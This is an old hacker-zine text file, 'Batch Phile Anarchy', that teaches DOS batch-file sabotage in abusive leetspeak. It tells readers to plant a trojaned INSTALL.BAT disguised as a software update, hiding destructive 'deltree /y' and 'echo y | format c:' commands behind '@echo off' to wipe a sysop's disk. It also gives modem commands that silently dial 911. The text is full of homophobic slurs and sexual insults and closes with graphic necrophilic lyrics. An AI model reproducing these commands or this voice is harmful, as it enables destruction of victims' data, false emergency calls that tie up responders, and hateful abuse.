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             \\              "Batch Phile Anarchy"           //
               \\           by, Bothersome Basehead        //
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 --- CHAPTER ONE !! --  Watz a batch phile, BIG daddy BASEhead??

 HEY kids, welll i'll tell ya.. a batch phile is like a bunch of commands
 that gets run at the same time, all at once.  Yea i know ya see some on
 ur hard drive.. mabe AUTOEXEC.BAT or like I got one called PORN.BAT that
 brings up QPEG in my porn directory, but you prolly aren't smart enuf to
 write that one or u wouldn't be reading this HEHEHEHE,, well, i dont want
 to waste time in this chaptah so letz get rite 2 it... u can put a bunch
 of DoS comands in a phile with .BAT at the end and then u run it.. and it
 runz the comands.. pertty kool, rite??  yea well i guess the elite amung
 us have to spred the word, or every1 will be lame 4evah.. u can count on
 H.O.E. 2 help u dumb bitches out... so anywayz, u might make a phile
 called BASEHEAD.BAT that goez like this:

              LINE 1  =   echo BASEHEAD FUCKED MY GIRLFREND
              LINE 2 =    echo YEA SHE LIKED IT
              LINE 3   =  echo BASEHEAD IS THE BIG DADDY
              LINE 4 -     echo (C)opyrite 1999 sum lamer hehe

 kewl, well b-sides the phact that this phile tellz ya a few thingz maybe
 u didnt know before, it illustrates the point of the batch phile.. when u
 run it u will see those lines on the screen, just 2 remind u of who the
 king iz..

 --- CHAPTER TWO !@@  --  DEVIANCE w/ batch philez

 Kewl, so u want to fuk up someone's shit right???? WHO DOESNT??  if u
 dont maybe ur a little pussy anywayz so this phile isnt 4 u.. go away!!
 So lets say some sysop in ur area is a big asswhole, or maybe he's a fagg
 and molestz little boyz (like ur brother or sumthing), and u wanna get
 back at him.. well there r virusez but 2 many ppl got scannerz when u
 upload shit now so that's wack.. i tried 2 write a virus once, with
 Hexpress but i ended up mesing up my hard drive.
 I DONT RECOMEND DOING THIS

 WELL wutz another way 2 CRASH that faggot's gay BOARD??  U sneak in thru
 the back door (hey!!! HEHEHEH!) with a batch phile.. so it werks like
 this.  U find out wut sorta gay programz this guy is runnin, like maybe u
 can do it with bbs softawre, or somethin, anything that haz a batch phile
 2 install or run.. so u see what version they r runnin, and u upload the
 same shit sayin its a NEW version, that way he instalz it rite away
 thinkin he haz FRESH warezz.  HAHAHA WHAT AN IMBICIL becauz little does
 he konw u have put a little surprize in there.. u put in a new batch
 phile! WELL doesnt he look stupid now?? w ell i mean after he runz it..
 okay so u bring up like INSTALL.BAT and u add some lines 2 it.. First i
 gotta mention somethin VERY important to batch phile mayhemm and that iz
 the echo off command.. if u put @echo off at the start then all the
 comandz after that wont show up and so when fag boy is sittin there
 yankin it while ur shit reeks havok, he won't even know whatz goin on..
 this iz the especialy KEWL (and KREWL) part about what ur doing...

 yea ok so u put @echo off at the beginning if its not there alredy.. and
 well here r sum things u can do.. in it..

         deltree /y c:\bbs      <- BYEBYE FAG BOARD
         deltree /y c:\telix    <- This will nuke the philes in the
                                   com program dir if he uses telix
                                   .. this is especialy kewl becuz
                                   it may keep him from talking 2
                                   other child molesterz on other boards
                                   (4 awhile)

         echo y | format c:     <- if ur really PISSSED OFF!!!

 as u can see the batch phile is a good weapin against ur enemies, once
 you can get them 2 run it..

 -- CHAPTER THREE ! - BONUS FUCK-UP from urs truly, and Ending comments

 Well since im feelin like santa claus a bit cuz of its chrismas coming
 up, Ho Ho ho here is an extra BONUS FUCK-UP 4 batch philes!! It involvez
 the modem this time (wich is an input/output device, stands 4
 MOdulater/DEModulator.. kewl!)..

 One thing in DoS that is kewl is that u can echo stuph 2 almost wherever
 u could want.. one place 2 do this is 2 the comm portz.  WEll who knows
 which comport the modem is on, u can try a few, maybe 1 will work.. so 1
 thing to do, is make the modem dial 911 with tha speaker off.. thiz will
 mean that the modem will cawl 911 without Fag ass knowin it,, and thiz
 usually meanz that they will send an ambulence and cop car just in case
 there is an emergency, even if some1 hangz up (especilly in the suberbs
 where nothin fuckin EVER HAPENS).. so here's the HOW TO!!

               @echo off      <- didn't u learn this yet? shame on u!!
                                 pay attention, jacka$$!! hehehe
         echo +++ATH0 > com1  <- this is 4 example.. u can try others
                                 it hangs up the modem if necesary
    echo +++ATM0DT911 > com1  <- turnz the speaker off and dials 911!!

        yeaaa!!  hehe, sorry sir, i didnt mean to call 911!! i promisse!!
 but i am a fag child molester so please arrezt my a$$ anywayz.. HAHAHAh

 Well that about wrapz it up 4 this PiMPiN phile!! i hope u lamerz learned
 somethin... this is a WARNING 2 all u dumbasses out there 2 check batch
 philes before u run them.... who knowz whats lerking in there?? yea ok
 well next time u hear about a BOARD goin DOWN, u know where the info came
 from... RIGHT HERE!!!

 YEa so this is BASEHEAD sayin SAYANARA!!!  PEACEE!!!!

 By the way- 
      this phile originated on my Board.. 

 DiAgnOsed ParAnoId (YOU)WISH-FAG!  [[HoE US HQ!!]]

 LATERZ!!

   "swollen with liquid / ready to burst
    a load of my lymph / will quench this dead body's thirst
    one month in the grave / twisted and half decayed
    she turned a putrid yellow / i pissed in her maggot filled asshole"

                            -- CANNIBAL CORPSE, "I CUM BLOOD"

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